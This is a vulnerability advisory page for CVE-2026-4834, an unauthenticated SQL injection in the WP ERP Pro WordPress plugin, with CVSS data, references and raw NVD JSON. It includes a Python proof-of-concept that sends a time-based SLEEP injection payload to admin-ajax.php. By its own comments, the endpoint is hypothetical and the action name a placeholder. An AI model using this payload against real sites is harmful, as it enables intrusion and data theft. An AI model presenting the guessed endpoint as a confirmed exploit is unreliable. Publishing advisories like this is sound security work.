CVE-2026-4834

Description

The WP ERP Pro plugin for WordPress is vulnerable to SQL Injection via the 'search_key' parameter in all versions up to, and including, 1.5.1. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WP ERP Pro <= 1.5.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC Demonstration for CVE-2026-4834
import requests

def check_vulnerability(target_url):
    # The vulnerable parameter is 'search_key'
    # Payload attempts to cause a time-based delay or extract data
    payload = "1' AND SLEEP(5)-- -"
    
    # Hypothetical endpoint structure based on WP plugins
    full_url = f"{target_url}/wp-admin/admin-ajax.php"
    
    params = {
        "action": "wperp_endpoint_name", # Placeholder for actual action
        "search_key": payload
    }
    
    try:
        response = requests.get(full_url, params=params, timeout=10)
        if response.elapsed.total_seconds() >= 5:
            print(f"[+] Potential SQL Injection found at {target_url}")
        else:
            print(f"[-] Not vulnerable or payload failed")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    check_vulnerability("http://example.com")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4834
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4834
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4834/
[4] VulDB https://vuldb.com/cve/CVE-2026-4834
[5] https://wperp.com/
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/d3849db8-5c9e-410e-be53-c9ab76162630?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4834", "sourceIdentifier": "[email protected]", "published": "2026-05-22T04:16:26.647", "lastModified": "2026-05-22T04:16:26.647", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP ERP Pro plugin for WordPress is vulnerable to SQL Injection via the 'search_key' parameter in all versions up to, and including, 1.5.1. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://wperp.com/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d3849db8-5c9e-410e-be53-c9ab76162630?source=cve", "source": "[email protected]"}]}}